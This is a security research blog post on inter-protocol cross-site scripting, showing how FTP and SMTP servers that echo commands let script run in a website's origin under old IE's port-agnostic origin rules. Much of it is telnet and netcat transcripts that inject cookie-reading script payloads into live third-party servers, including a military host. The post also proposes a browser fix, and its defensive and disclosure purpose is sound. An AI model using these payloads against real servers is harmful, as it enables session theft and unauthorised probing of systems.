Most people have thought about how you can use a browser to issue inter-protocol requests. See Samy’s version of SMTP-through-JavaScript, “cross-site” printing (cool, but what’s so cross-site about it again?), and this paper by NGS. However, the reverse attack is much more useful; how causing a browser to interact with another protocol can cause arbitrary JavaScript to run in the origin of a target domain. This is natural extension to that previous work, starting with the seminal “form protocol attack” paper. After doing a bunch of research I found out that this basic idea was already lightly covered in eyeonsecurity’s “extended HTML form attack” paper, but misses out many key details, mostly resulting from the fact that the browser security landscape has shifted significantly since it was written in 2002.
Let’s start from the beginning. First, this is going to be a corner case, to be sure, but the Internet is like Drake’s equation – there’s always going to be sites where unusual attacks work.
Where to start? Consider first that a browser won’t let you use HTTP to talk to any site on port 20 or 21 – the typical FTP ports. This means that if there is FTP running on any other port, you will be allowed to send requests to it. What if that FTP server responded? Well, you would think the response would be meaningless to the browser since it’s not valid HTTP.
The head-scratching behavior of browsers continues. None of the browsers I tested (IE, FF, Safari, Chrome, all recent versions) require HTTP response headers to process a request. I have no idea why that is, and this appears to be a very little known fact according to some personal polling at Blackhat. If you want to see it in action, here’s your netcat command:
This opens up port 81 and pipes the script to any incoming TCP connection. Try pointing your browser to that port, i.e., http://localhost:81/foo. You’ll see the alert() does fire! This is more than just content sniffing, it’s protocol sniffing.
But even if you could control the output of another port on their server, you might initially be disappointed. In the minority browsers this will be an interesting but useless quirk because the port you’re connecting to (81) is not the same port of the target website (typically 80). Because of this, your browser will consider it a different origin and thus won’t let you do anything cool like access cookies or application data.
If you’re into browser security, you probably realize where this is going. IE, the dominant browser, ignores the port when considering DOM origin. This means that document.cookie is shared between i8jesus.com:80 and i8jesus.com:81. In IE7, the only thing you can’t do across ports is XmlHttpRequest, but don’t worry – IE8 is going to remove that restriction soon!
You can see here IE ignores the port, since it's showing my WP cookies
Now let’s consider there’s an FTP server running on i8jesus.com, port 81. You can interact with that FTP server with the following HTML. Notice the enctype=’multipart/form-data’. This is what allows us to make our input look like FTP commands (as was seen in previous cross-protocol attacks).
If an FTP server is running on port 81, the browser will connect to it and begin sending that multipart data. Let’s look at a real example of this happening and see how the FTP server understands the traffic. In order to facilitate this testing, I piped netcat output from my browser to a different netcat process connected to ftp.redhat.com (I had to use myself as a MITM since they listen on a standard port). Here’s a snapshot of of our traffic from the HTML form above:
USER anonymous -----------------------------7d92b92a70534 Content-Disposition: form-data; name="doesntmatter"
PASS a@a.com
Since FTP separates commands by newline, the server will see bunch of garbage commands with a few legitimate ones sprinkled in between. What the server sent in the response can be seen from the output of the netcat commands:
[root@i8jesus xps]# nc -l 81 | nc ftp.redhat.com 21 220 Red Hat FTP server ready. All transfers are logged. (FTP) [no EPSV] 530 Please login with USER and PASS. 530 Please login with USER and PASS. ... 331 Please specify the password. 530 Please login with USER and PASS. 530 Please login with USER and PASS. 530 Please login with USER and PASS. 230 Login successful. 550 Permission denied. ... 214-The following commands are recognized. ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD XPWD XRMD 214 Help OK. 550 Permission denied.
As you can see the FTP server at ftp.redhat.com is clearly interpreting our HTTP traffic as separate FTP commands. Great, but now what? This is where previous attacks in the cross-protocol arena have ended. Most of the time this type of attack won’t profit the attacker much. How easy it to go to Starbucks and issue those FTP commands yourself? It’s true that tricking the user into doing it may allow you to reach hosts behind firewalls and get around IP-restrictions, but we can do better than that. So, put together what we’ve discovered so far:
1. Browsers will interpret non-HTTP responses 2. Browsers can communicate with non-HTTP servers as long as they reside on a non-standard port 3. FTP servers will interpret our commands line by line 4. IE ignores the port in origin checks
Here is the crux: we can issue FTP commands that the server will partially reflect back to the client. If this input contains JavaScript, the browser will execute itin the target origin. Let’s see what we can get some anonymous FTP servers out there to reflect back to us. The user input is in green and any interesting server output is in red:
[root@i8jesus xps]# telnet andrsn.stanford.edu 21 Trying 171.66.112.163... Connected to andrsn.stanford.edu. Escape character is '^]'. 220 andrsn.stanford.edu FTP server (Version 6.00LS) ready. H<script>alert(document.cookie)</script> 500 H<SCRIPT>ALERT(DOCUMENT.COOKIE)</SCRIPT>: command not understood. HELO <script>document.cookie)</script> 500 HELO <script>document.cookie)</script>: command not understood.
Looks like this server will upper-case the FTP command name during reflection. That will complicate things a bit (you can still exploit that with VBScript), but why not make things easier on ourselves and use the argument to HELO (a STMP command that the FTP server doesn’t recognize), since that comes back without modification! Ok, now let’s test a .mil:
[root@i8jesus xps]# telnet ftp.nima.mil 21 Trying 164.214.2.65... Connected to ftp.nima.mil. Escape character is '^]'. 220 emissary FTP server (Use of this DoD computer system, authorized or unauthorized, constitues consent to monitoring of this system. Unauthorized use may subject your to criminal prosecution.) ready. HELO <script> 500 'HELO': command not understood by proxy USER <script>alert(document.cookie)</script> 331 Password required for <script>alert(document.cookie)</script>. PASS i dont want anything to do with you im just testing something dont rape me plz <3 530 Login incorrect.
This server reflects the USER argument. Simple, no authentication required.
Out of the few servers I’ve tested, it looks like vsFTPd is the safest in that it won’t reflect much data pre-authentication. (Un)fortunately, it looks like there are plenty of pre-authentication options and a few post-authentication options for reflecting data in most FTP servers. There are lots of FTP servers out there and lots of configurations to play with, resulting in an uncountable number of possibilities for vulnerability.
What this all means: running an FTP server on the same host as your site on a non-standard port probably makes you vulnerable to Type I XSS without you doing anything wrong. I don’t imagine it’s going to happen a lot, but I do imagine it’s going to happen.
The Solution
The solution, to me, is simple. Invoke your FindMimeFromData() equivalent on the HTTP response body, not the complete inbound TCP message. When did browsers decide to speak other protocols than HTTP? The specification doesn’t say the status line is optional. If I want to talk to an FTP server I’ll use WinSCP. Fair? Only give me **** that starts with “HTTP/1.X YYY”. It’s kind of ironic that IE processes the response successfully, but the response breaks Fiddler. Doesn’t Mr. Law, um, have a foot in both those camps?
It’s not an FTP problem
Yes, all of what I’ve said applies to other services as well. IE doesn’t block nearly as many ports as Firefox. For instance, here’s an interesting snippet from Cyrus (SMTP), which shows that exploitation is not necessarily brain-dead simple, and by the end you can see that there are enough characters to perform XSS.
[oasis@i8jesus ~]$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 ip-72-167-99-49.ip.secureserver.net ESMTP Postfix HELO <script>alert(document.cookie)</script> 250 ip-72-167-99-49.ip.secureserver.net EHLO <script>alert(document.cookie)</script> 250-ip-72-167-99-49.ip.secureserver.net ... 250 DSN MAIL FROM: <script>alert(document.cookie)</script> 501 5.1.7 Bad sender address syntax RCPT TO: <script>alert(document.cookie)</script> 503 5.5.1 Error: need MAIL command MAIL FROM: Joe Blow 555 5.5.4 Unsupported option: Blow MAIL FROM: Joe 250 2.1.0 Ok RCPT TO: <script>alert(document.cookie)</script> 501 5.1.3 Bad recipient address syntax RCPT TO: sdf 550 5.1.1 <sdf>: Recipient address rejected: User unknown in local recipient table RCPT TO: img src='javascript:alert(1)' 555 5.5.4 Unsupported option: src='javascript:alert(1)' RCPT TO: img/src='javascript:alert(1)' 501 5.1.3 Bad recipient address syntax RCPT TO: img/src=javascript:alert(1) 550 5.1.1 <img/src=javascript:alert>: Recipient address rejected: User unknown in local recipient table RCPT TO: img/src=javascript:alert{} 550 5.1.1 <img/src=javascript:alert{}>: Recipient address rejected: User unknown in local recipient table quit 221 2.0.0 Bye Connection closed by foreign host. [oasis@i8jesus ~]$